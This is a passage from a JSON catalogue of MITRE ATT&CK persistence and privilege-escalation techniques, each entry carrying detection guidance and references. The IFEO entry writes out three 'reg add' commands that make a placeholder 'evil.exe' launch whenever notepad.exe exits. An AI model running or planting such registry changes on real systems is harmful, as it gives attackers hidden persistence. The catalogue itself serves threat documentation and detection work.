HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\. (Citation: Microsoft Silent Process Exit NOV 2017) (Citation: Oddvar Moe IFEO APR 2018)\n\nAn example where the evil.exe process is started when notepad.exe exits: (Citation: Oddvar Moe IFEO APR 2018)\n\n* reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\notepad.exe\" /v GlobalFlag /t REG_DWORD /d 512\n* reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\notepad.exe\" /v ReportingMode /t REG_DWORD /d 1\n* reg add \"HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\SilentProcessExit\\notepad.exe\" /v MonitorProcess /d \"C:\\temp\\evil.exe\"\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values may be abused to obtain persistence and privilege escalation by causing a malicious executable to be loaded and run in the context of separate processes on the computer. (Citation: Elastic Process Injection July 2017) Installing IFEO mechanisms may also provide Persistence via continuous invocation.\n\nMalware may also use IFEO for Defense Evasion by registering invalid debuggers that redirect and effectively disable various system and security applications. (Citation: FSecure Hupigon) (Citation: Symantec Ushedix June 2008)", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_detection": "Monitor for common processes spawned under abnormal parents and/or with creation flags indicative of debugging such as DEBUG_PROCESS and DEBUG_ONLY_THIS_PROCESS. (Citation: Microsoft Dev Blog IFEO Mar 2010)\n\nMonitor Registry values associated with IFEOs, as well as silent process exit monitoring, for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Elastic Process Injection July 2017)", - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_defense_bypassed": [ - "Autoruns Analysis" - ], - "x_mitre_permissions_required": [ - "Administrator", - "SYSTEM" - ] - }, - "atomic_tests": [] - }, - "T1546.005": { - "technique": { - "x_mitre_platforms": [ - "macOS", - "Linux" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--63220765-d418-44de-8fae-694b3912317d", - "type": "attack-pattern", - "created": "2020-01-24T14:17:43.906Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1546.005", - "url": "https://attack.mitre.org/techniques/T1546/005" - }, - { - "source_name": "Trap Manual", - "url": "https://ss64.com/bash/trap.html", - "description": "ss64. (n.d.). trap. Retrieved May 21, 2019." - }, - { - "source_name": "Cyberciti Trap Statements", - "url": "https://bash.cyberciti.biz/guide/Trap_statement", - "description": "Cyberciti. (2016, March 29). Trap statement. Retrieved May 21, 2019." - } - ], - "modified": "2020-03-24T16:43:02.273Z", - "name": "Event Triggered Execution: Trap", - "description": "Adversaries may establish persistence by executing malicious content triggered by an interrupt signal. The trap command allows programs and shells to specify commands that will be executed upon receiving interrupt signals. A common situation is a script allowing for graceful termination and handling of common keyboard interrupts like ctrl+c and ctrl+d.\n\nAdversaries can use this to register code to be executed when the shell encounters specific interrupts as a persistence mechanism. Trap commands are of the following format trap 'command list' signals where \"command list\" will be executed when \"signals\" are received.(Citation: Trap Manual)(Citation: Cyberciti Trap Statements)", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - } - ], - "x_mitre_detection": "Trap commands must be registered for the shell or programs, so they appear in files. Monitoring files for suspicious or overly broad trap commands can narrow down suspicious behavior during an investigation. Monitor for suspicious processes executed through trap interrupts.", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "File: File Creation", - "File: File Modification", - "Process: Process Creation", - "Command: Command Execution" - ], - "x_mitre_permissions_required": [ - "User", - "Administrator" - ], - "identifier": "T1546.005" - }, - "atomic_tests": [] - }, - "T1574.006": { - "technique": { - "x_mitre_platforms": [ - "Linux", - "macOS" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--633a100c-b2c9-41bf-9be5-905c1b16c825", - "type": "attack-pattern", - "created": "2020-03-13T20:09:59.569Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1574.006", - "url": "https://attack.mitre.org/techniques/T1574/006" - }, - { - "external_id": "CAPEC-13", - "source_name": "capec", - "url": "https://capec.mitre.org/data/definitions/13.html" - }, - { - "external_id": "CAPEC-640", - "source_name": "capec", - "url": "https://capec.mitre.org/data/definitions/640.html" - }, - { - "source_name": "Man LD.SO", - "url": "https://www.man7.org/linux/man-pages/man8/ld.so.8.html", - "description": "Kerrisk, M. (2020, June 13). Linux Programmer's Manual. Retrieved June 15, 2020." - }, - { - "source_name": "TLDP Shared Libraries", - "url": "https://www.tldp.org/HOWTO/Program-Library-HOWTO/shared-libraries.html", - "description": "The Linux Documentation Project. (n.d.). Shared Libraries. Retrieved January 31, 2020." - }, - { - "source_name": "Apple Doco Archive Dynamic Libraries", - "url": "https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/OverviewOfDynamicLibraries.html", - "description": "Apple Inc.. (2012, July 23). Overview of Dynamic Libraries. Retrieved March 24, 2021." - }, - { - "source_name": "Baeldung LD_PRELOAD", - "url": "https://www.baeldung.com/linux/ld_preload-trick-what-is", - "description": "baeldung. (2020, August 9). What Is the LD_PRELOAD Trick?. Retrieved March 24, 2021." - }, - { - "source_name": "Code Injection on Linux and macOS", - "url": "https://www.datawire.io/code-injection-on-linux-and-macos/", - "description": "Itamar Turner-Trauring. (2017, April 18). \u201cThis will only hurt for a moment\u201d: code injection on Linux and macOS with LD_PRELOAD. Retrieved December 20, 2017." - }, - { - "url": "http://hick.org/code/skape/papers/needle.txt", - "description": "skape. (2003, January 19). Linux x86 run-time process manipulation. Retrieved December 20, 2017.", - "source_name": "Uninformed Needle" - }, - { - "url": "http://phrack.org/issues/51/8.html", - "description": "halflife. (1997, September 1). Shared Library Redirection Techniques. Retrieved December 20, 2017.", - "source_name": "Phrack halfdead 1997" - }, - { - "source_name": "Brown Exploiting Linkers", - "url": "http://www.nth-dimension.org.uk/pub/BTL.pdf", - "description": "Tim Brown. (2011, June 29). Breaking the links: Exploiting the linker. Retrieved March 29, 2021." - }, - { - "source_name": "TheEvilBit DYLD_INSERT_LIBRARIES", - "url": "https://theevilbit.github.io/posts/dyld_insert_libraries_dylib_injection_in_macos_osx_deep_dive/", - "description": "Fitzl, C. (2019, July 9). DYLD_INSERT_LIBRARIES DYLIB injection in macOS / OSX. Retrieved March 26, 2020." - }, - { - "source_name": "Timac DYLD_INSERT_LIBRARIES", - "url": "https://blog.timac.org/2012/1218-simple-code-injection-using-dyld_insert_libraries/", - "description": "Timac. (2012, December 18). Simple code injection using DYLD_INSERT_LIBRARIES. Retrieved March 26, 2020." - }, - { - "source_name": "Gabilondo DYLD_INSERT_LIBRARIES Catalina Bypass", - "url": "https://jon-gabilondo-angulo-7635.medium.com/how-to-inject-code-into-mach-o-apps-part-ii-ddb13ebc8191", - "description": "Jon Gabilondo. (2019, September 22). How to Inject Code into Mach-O Apps. Part II.. Retrieved March 24, 2021." - } - ], - "modified": "2021-04-27T19:55:18.453Z", - "name": "Hijack Execution Flow: LD_PRELOAD", - "description": "Adversaries may execute their own malicious payloads by hijacking environment variables the dynamic linker uses to load shared libraries. During the execution preparation phase of a program, the dynamic linker loads specified absolute paths of shared libraries from environment variables and files, such as LD_PRELOAD on Linux or DYLD_INSERT_LIBRARIES on macOS. Libraries specified in environment variables are loaded first, taking precedence over system libraries with the same function name.(Citation: Man LD.SO)(Citation: TLDP Shared Libraries)(Citation: Apple Doco Archive Dynamic Libraries) These variables are often used by developers to debug binaries without needing to recompile, deconflict mapped symbols, and implement custom functions without changing the original library.(Citation: Baeldung LD_PRELOAD)\n\nOn Linux and macOS, hijacking dynamic linker variables may grant access to the victim process's memory, system/network resources, and possibly elevated privileges. This method may also evade detection from security products since the execution is masked under a legitimate process. Adversaries can set environment variables via the command line using the export command, setenv function, or putenv function. Adversaries can also leverage [Dynamic Linker Hijacking](https://attack.mitre.org/techniques/T1574/006) to export variables in a shell or set variables programmatically using higher level syntax such Python\u2019s os.environ.\n\nOn Linux, adversaries may set LD_PRELOAD to point to malicious libraries that match the name of legitimate libraries which are requested by a victim program, causing the operating system to load the adversary's malicious code upon execution of the victim program. LD_PRELOAD can be set via the environment variable or /etc/ld.so.preload file.(Citation: Man LD.SO)(Citation: TLDP Shared Libraries) Libraries specified by LD_PRELOAD are loaded and mapped into memory by dlopen() and mmap() respectively.(Citation: Code Injection on Linux and macOS)(Citation: Uninformed Needle) (Citation: Phrack halfdead 1997)(Citation: Brown Exploiting Linkers) \n\nOn macOS this behavior is conceptually the same as on Linux, differing only in how the macOS dynamic libraries (dyld) is implemented at a lower level. Adversaries can set the DYLD_INSERT_LIBRARIES environment variable to point to malicious libraries containing names of legitimate libraries or functions requested by a victim program.(Citation: TheEvilBit DYLD_INSERT_LIBRARIES)(Citation: Timac DYLD_INSERT_LIBRARIES)(Citation: Gabilondo DYLD_INSERT_LIBRARIES Catalina Bypass) ", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_detection": "Monitor for changes to environment variables and files associated with loading shared libraries such as LD_PRELOAD and DYLD_INSERT_LIBRARIES, as well as the commands to implement these changes.\n\nMonitor processes for unusual activity (e.g., a process that does not use the network begins to do so). Track library metadata, such as a hash, and compare libraries that are loaded at process execution time against previous executions to detect differences that do not correlate with patching or updates.", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "2.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Process: Process Creation", - "File: File Modification", - "Module: Module Load", - "File: File Creation", - "Command: Command Execution" - ], - "x_mitre_permissions_required": [ - "User" - ], - "identifier": "T1574.006" - }, - "atomic_tests": [] - }, - "T1053.001": { - "technique": { - "x_mitre_platforms": [ - "Linux" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "type": "attack-pattern", - "id": "attack-pattern--6636bc83-0611-45a6-b74f-1f3daf635b8e", - "created": "2019-12-03T12:59:36.749Z", - "x_mitre_version": "1.1", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1053.001", - "url": "https://attack.mitre.org/techniques/T1053/001" - }, - { - "source_name": "rowland linux at 2019", - "url": "https://www.linkedin.com/pulse/getting-attacker-ip-address-from-malicious-linux-job-craig-rowland/", - "description": "Craig Rowland. (2019, July 25). Getting an Attacker IP Address from a Malicious Linux At Job. Retrieved October 15, 2021." - }, - { - "source_name": "GTFObins at", - "url": "https://gtfobins.github.io/gtfobins/at/", - "description": "Emilio Pinna, Andrea Cardaci. (n.d.). gtfobins at. Retrieved September 28, 2021." - }, - { - "source_name": "Kifarunix - Task Scheduling in Linux", - "url": "https://kifarunix.com/scheduling-tasks-using-at-command-in-linux/", - "description": "Koromicha. (2019, September 7). Scheduling tasks using at command in Linux. Retrieved December 3, 2019." - } - ], - "x_mitre_deprecated": false, - "revoked": true, - "description": "Adversaries may abuse the [at](https://attack.mitre.org/software/S0110) utility to perform task scheduling for initial, recurring, or future execution of malicious code. The [at](https://attack.mitre.org/software/S0110) command within Linux operating systems enables administrators to schedule tasks.(Citation: Kifarunix - Task Scheduling in Linux)\n\nAn adversary may use [at](https://attack.mitre.org/software/S0110) in Linux environments to execute programs at system startup or on a scheduled basis for persistence. [at](https://attack.mitre.org/software/S0110) can also be abused to conduct remote Execution as part of Lateral Movement and or to run a process under the context of a specified account.\n\nAdversaries may also abuse [at](https://attack.mitre.org/software/S0110) to break out of restricted environments by using a task to spawn an interactive system shell or to run system commands. Similarly, [at](https://attack.mitre.org/software/S0110) may also be used for [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) if the binary is allowed to run as superuser via sudo.(Citation: GTFObins at)", - "modified": "2022-04-16T20:45:01.814Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "At (Linux)", - "x_mitre_detection": "Monitor scheduled task creation using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. \n\nReview all jobs using the atq command and ensure IP addresses stored in the SSH_CONNECTION and SSH_CLIENT variables, machines that created the jobs, are trusted hosts. All [at](https://attack.mitre.org/software/S0110) jobs are stored in /var/spool/cron/atjobs/.(Citation: rowland linux at 2019)\n\nSuspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "execution" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - } - ], - "x_mitre_is_subtechnique": true, - "x_mitre_data_sources": [ - "Command: Command Execution", - "Process: Process Creation", - "Scheduled Job: Scheduled Job Creation" - ], - "x_mitre_remote_support": true, - "x_mitre_attack_spec_version": "2.1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" - }, - "atomic_tests": [] - }, - "T1179": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--66f73398-8394-4711-85e5-34c8540b22a5", - "type": "attack-pattern", - "created": "2018-01-16T16:13:52.465Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "revoked": true, - "external_references": [ - { - "url": "https://attack.mitre.org/techniques/T1179", - "external_id": "T1179", - "source_name": "mitre-attack" - }, - { - "source_name": "Microsoft Hook Overview", - "description": "Microsoft. (n.d.). Hooks Overview. Retrieved December 12, 2017.", - "url": "https://msdn.microsoft.com/library/windows/desktop/ms644959.aspx" - }, - { - "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process", - "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.", - "source_name": "Elastic Process Injection July 2017" - }, - { - "source_name": "Adlice Software IAT Hooks Oct 2014", - "description": "Tigzy. (2014, October 15). Userland Rootkits: Part 1, IAT hooks. Retrieved December 12, 2017.", - "url": "https://www.adlice.com/userland-rootkits-part-1-iat-hooks/" - }, - { - "source_name": "MWRInfoSecurity Dynamic Hooking 2015", - "description": "Hillman, M. (2015, August 8). Dynamic Hooking Techniques: User Mode. Retrieved December 20, 2017.", - "url": "https://www.mwrinfosecurity.com/our-thinking/dynamic-hooking-techniques-user-mode/" - }, - { - "source_name": "HighTech Bridge Inline Hooking Sept 2011", - "description": "Mariani, B. (2011, September 6). Inline Hooking in Windows. Retrieved December 12, 2017.", - "url": "https://www.exploit-db.com/docs/17802.pdf" - }, - { - "source_name": "Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017", - "description": "Microsoft. (2017, September 15). TrojanSpy:Win32/Ursnif.gen!I. Retrieved December 18, 2017.", - "url": "https://www.microsoft.com/en-us/wdsi/threats/malware-encyclopedia-description?Name=TrojanSpy:Win32/Ursnif.gen!I&threatId=-2147336918" - }, - { - "source_name": "Symantec Windows Rootkits", - "description": "Symantec. (n.d.). Windows Rootkit Overview. Retrieved December 21, 2017.", - "url": "https://www.symantec.com/avcenter/reference/windows.rootkit.overview.pdf" - }, - { - "source_name": "Volatility Detecting Hooks Sept 2012", - "description": "Volatility Labs. (2012, September 24). MoVP 3.1 Detecting Malware Hooks in the Windows GUI Subsystem. Retrieved December 12, 2017.", - "url": "https://volatility-labs.blogspot.com/2012/09/movp-31-detecting-malware-hooks-in.html" - }, - { - "source_name": "PreKageo Winhook Jul 2011", - "description": "Prekas, G. (2011, July 11). Winhook. Retrieved December 12, 2017.", - "url": "https://github.com/prekageo/winhook" - }, - { - "source_name": "Jay GetHooks Sept 2011", - "description": "Satiro, J. (2011, September 14). GetHooks. Retrieved December 12, 2017.", - "url": "https://github.com/jay/gethooks" - }, - { - "source_name": "Zairon Hooking Dec 2006", - "description": "Felici, M. (2006, December 6). Any application-defined hook procedure on my machine?. Retrieved December 12, 2017.", - "url": "https://zairon.wordpress.com/2006/12/06/any-application-defined-hook-procedure-on-my-machine/" - }, - { - "source_name": "EyeofRa Detecting Hooking June 2017", - "description": "Eye of Ra. (2017, June 27). Windows Keylogger Part 2: Defense against user-land. Retrieved December 12, 2017.", - "url": "https://eyeofrablog.wordpress.com/2017/06/27/windows-keylogger-part-2-defense-against-user-land/" - }, - { - "source_name": "GMER Rootkits", - "description": "GMER. (n.d.). GMER. Retrieved December 12, 2017.", - "url": "http://www.gmer.net/" - }, - { - "source_name": "Microsoft Process Snapshot", - "description": "Microsoft. (n.d.). Taking a Snapshot and Viewing Processes. Retrieved December 12, 2017.", - "url": "https://msdn.microsoft.com/library/windows/desktop/ms686701.aspx" - }, - { - "source_name": "StackExchange Hooks Jul 2012", - "description": "Stack Exchange - Security. (2012, July 31). What are the methods to find hooked functions and APIs?. Retrieved December 12, 2017.", - "url": "https://security.stackexchange.com/questions/17904/what-are-the-methods-to-find-hooked-functions-and-apis" - } - ], - "modified": "2020-11-10T18:29:30.516Z", - "name": "Hooking", - "description": "Windows processes often leverage application programming interface (API) functions to perform tasks that require reusable system resources. Windows API functions are typically stored in dynamic-link libraries (DLLs) as exported functions. \n\nHooking involves redirecting calls to these functions and can be implemented via:\n\n* **Hooks procedures**, which intercept and execute designated code in response to events such as messages, keystrokes, and mouse inputs. (Citation: Microsoft Hook Overview) (Citation: Elastic Process Injection July 2017)\n* **Import address table (IAT) hooking**, which use modifications to a process\u2019s IAT, where pointers to imported API functions are stored. (Citation: Elastic Process Injection July 2017) (Citation: Adlice Software IAT Hooks Oct 2014) (Citation: MWRInfoSecurity Dynamic Hooking 2015)\n* **Inline hooking**, which overwrites the first bytes in an API function to redirect code flow. (Citation: Elastic Process Injection July 2017) (Citation: HighTech Bridge Inline Hooking Sept 2011) (Citation: MWRInfoSecurity Dynamic Hooking 2015)\n\nSimilar to [Process Injection](https://attack.mitre.org/techniques/T1055), adversaries may use hooking to load and execute malicious code within the context of another process, masking the execution while also allowing access to the process's memory and possibly elevated privileges. Installing hooking mechanisms may also provide Persistence via continuous invocation when the functions are called through normal use.\n\nMalicious hooking mechanisms may also capture API calls that include parameters that reveal user authentication credentials for Credential Access. (Citation: Microsoft TrojanSpy:Win32/Ursnif.gen!I Sept 2017)\n\nHooking is commonly utilized by [Rootkit](https://attack.mitre.org/techniques/T1014)s to conceal files, processes, Registry keys, and other objects in order to hide malware and associated behaviors. (Citation: Symantec Windows Rootkits)", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "credential-access" - } - ], - "x_mitre_detection": "Monitor for calls to the SetWindowsHookEx and SetWinEventHook functions, which install a hook procedure. (Citation: Microsoft Hook Overview) (Citation: Volatility Detecting Hooks Sept 2012) Also consider analyzing hook chains (which hold pointers to hook procedures for each type of hook) using tools (Citation: Volatility Detecting Hooks Sept 2012) (Citation: PreKageo Winhook Jul 2011) (Citation: Jay GetHooks Sept 2011) or by programmatically examining internal kernel structures. (Citation: Zairon Hooking Dec 2006) (Citation: EyeofRa Detecting Hooking June 2017)\n\nRootkits detectors (Citation: GMER Rootkits) can also be used to monitor for various flavors of hooking activity.\n\nVerify integrity of live processes by comparing code in memory to that of corresponding static binaries, specifically checking for jumps and other instructions that redirect code flow. Also consider taking snapshots of newly started processes (Citation: Microsoft Process Snapshot) to compare the in-memory IAT to the real addresses of the referenced functions. (Citation: StackExchange Hooks Jul 2012) (Citation: Adlice Software IAT Hooks Oct 2014)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.", - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_permissions_required": [ - "Administrator", - "SYSTEM" - ] - }, - "atomic_tests": [] - }, - "T1547.011": { - "technique": { - "x_mitre_platforms": [ - "macOS" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "type": "attack-pattern", - "id": "attack-pattern--6747daa2-3533-4e78-8fb8-446ebb86448a", - "created": "2020-01-24T20:02:59.149Z", - "x_mitre_version": "1.1", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1547.011", - "url": "https://attack.mitre.org/techniques/T1547/011" - }, - { - "source_name": "fileinfo plist file description", - "url": "https://fileinfo.com/extension/plist", - "description": "FileInfo.com team. (2019, November 26). .PLIST File Extension. Retrieved October 12, 2021." - }, - { - "source_name": "wardle artofmalware volume1", - "url": "https://taomm.org/vol1/pdfs.html", - "description": "Patrick Wardle. (2020, August 5). The Art of Mac Malware Volume 0x1: Analysis. Retrieved March 19, 2021." - } - ], - "x_mitre_deprecated": false, - "revoked": true, - "description": "Adversaries can modify property list files (plist files) to execute their code as part of establishing persistence. Plist files are used by macOS applications to store properties and configuration settings for applications and services. Applications use information plist files, Info.plist, to tell the operating system how to handle the application at runtime using structured metadata in the form of keys and values. Plist files are formatted in XML and based on Apple's Core Foundation DTD and can be saved in text or binary format.(Citation: fileinfo plist file description) \n\nAdversaries can modify paths to executed binaries, add command line arguments, and insert key/pair values to plist files in auto-run locations which execute upon user logon or system startup. Through modifying plist files in these locations, adversaries can also execute a malicious dynamic library (dylib) by adding a dictionary containing the DYLD_INSERT_LIBRARIES key combined with a path to a malicious dylib under the EnvironmentVariables key in a plist file. Upon user logon, the plist is called for execution and the malicious dylib is executed within the process space. Persistence can also be achieved by modifying the LSEnvironment key in the application's Info.plist file.(Citation: wardle artofmalware volume1)", - "modified": "2022-04-20T21:06:07.560Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Plist Modification", - "x_mitre_detection": "Monitor for common command-line editors used to modify plist files located in auto-run locations, such as ~/LaunchAgents, ~/Library/Application Support/com.apple.backgroundtaskmanagementagent/backgrounditems.btm, and an application's Info.plist. \n\nMonitor for plist file modification immediately followed by code execution from ~/Library/Scripts and ~/Library/Preferences. Also, monitor for significant changes to any path pointers in a modified plist.\n\nIdentify new services executed from plist modified in the previous user's session. ", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - } - ], - "x_mitre_is_subtechnique": true, - "x_mitre_data_sources": [ - "File: File Modification", - "Service: Service Creation", - "Command: Command Execution", - "Process: Process Creation" - ], - "x_mitre_permissions_required": [ - "User", - "Administrator" - ], - "x_mitre_attack_spec_version": "2.1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" - }, - "atomic_tests": [] - }, - "T1548": { - "technique": { - "x_mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--67720091-eee3-4d2d-ae16-8264567f6f5b", - "type": "attack-pattern", - "created": "2020-01-30T13:58:14.373Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1548", - "url": "https://attack.mitre.org/techniques/T1548" - } - ], - "modified": "2022-03-21T19:01:25.043Z", - "name": "Abuse Elevation Control Mechanism", - "description": "Adversaries may circumvent mechanisms designed to control elevate privileges to gain higher-level permissions. Most modern systems contain native elevation control mechanisms that are intended to limit privileges that a user can perform on a machine. Authorization has to be granted to specific users in order to perform tasks that can be considered of higher risk. An adversary can perform several methods to take advantage of built-in control mechanisms in order to escalate privileges on a system.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_detection": "Monitor the file system for files that have the setuid or setgid bits set. Also look for any process API calls for behavior that may be indicative of [Process Injection](https://attack.mitre.org/techniques/T1055) and unusual loaded DLLs through [DLL Search Order Hijacking](https://attack.mitre.org/techniques/T1574/001), which indicate attempts to gain access to higher privileged processes. On Linux, auditd can alert every time a user's actual ID and effective ID are different (this is what happens when you sudo).\n\nConsider monitoring for /usr/libexec/security_authtrampoline executions which may indicate that AuthorizationExecuteWithPrivileges is being executed. MacOS system logs may also indicate when AuthorizationExecuteWithPrivileges is being called. Monitoring OS API callbacks for the execution can also be a way to detect this behavior but requires specialized security tooling.\n\nOn Linux, auditd can alert every time a user's actual ID and effective ID are different (this is what happens when you sudo). This technique is abusing normal functionality in macOS and Linux systems, but sudo has the ability to log all input and output based on the LOG_INPUT and LOG_OUTPUT directives in the /etc/sudoers file.\n\nThere are many ways to perform UAC bypasses when a user is in the local administrator group on a system, so it may be difficult to target detection on all variations. Efforts should likely be placed on mitigation and collecting enough information on process launches and actions that could be performed before and after a UAC bypass is performed. Some UAC bypass methods rely on modifying specific, user-accessible Registry settings. Analysts should monitor Registry settings for unauthorized changes.", - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "File: File Modification", - "Windows Registry: Windows Registry Key Modification", - "Command: Command Execution", - "Process: Process Metadata", - "Process: OS API Execution", - "File: File Metadata", - "Process: Process Creation" - ], - "x_mitre_permissions_required": [ - "Administrator", - "User" - ] - }, - "atomic_tests": [] - }, - "T1134.002": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Vadim Khrykov" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--677569f9-a8b0-459e-ab24-7f18091fa7bf", - "type": "attack-pattern", - "created": "2020-02-18T16:48:56.582Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1134.002", - "url": "https://attack.mitre.org/techniques/T1134/002" - }, - { - "source_name": "Microsoft RunAs", - "url": "https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc771525(v=ws.11)", - "description": "Microsoft. (2016, August 31). Runas. Retrieved October 1, 2021." - }, - { - "url": "https://technet.microsoft.com/en-us/windows-server-docs/identity/ad-ds/manage/component-updates/command-line-process-auditing", - "description": "Mathers, B. (2017, March 7). Command line process auditing. Retrieved April 21, 2017.", - "source_name": "Microsoft Command-line Logging" - } - ], - "modified": "2021-10-17T14:51:48.978Z", - "name": "Create Process with Token", - "description": "Adversaries may create a new process with a different token to escalate privileges and bypass access controls. Processes can be created with the token and resulting security context of another user using features such as CreateProcessWithTokenW and runas.(Citation: Microsoft RunAs)\n\nCreating processes with a different token may require the credentials of the target user, specific privileges to impersonate that user, or access to the token to be used (ex: gathered via other means such as [Token Impersonation/Theft](https://attack.mitre.org/techniques/T1134/001) or [Make and Impersonate Token](https://attack.mitre.org/techniques/T1134/003)).", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - } - ], - "x_mitre_detection": "If an adversary is using a standard command-line shell (i.e. [Windows Command Shell](https://attack.mitre.org/techniques/T1059/003)), analysts may detect token manipulation by auditing command-line activity. Specifically, analysts should look for use of the runas command or similar artifacts. Detailed command-line logging is not enabled by default in Windows.(Citation: Microsoft Command-line Logging)\n\nIf an adversary is using a payload that calls the Windows token APIs directly, analysts may detect token manipulation only through careful analysis of user activity, examination of running processes, and correlation with other endpoint and network behavior.\n\nAnalysts can also monitor for use of Windows APIs such as CreateProcessWithTokenW and correlate activity with other suspicious behavior to reduce false positives that may be due to normal benign use by users and administrators.", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.1", - "x_mitre_modified_by_ref": 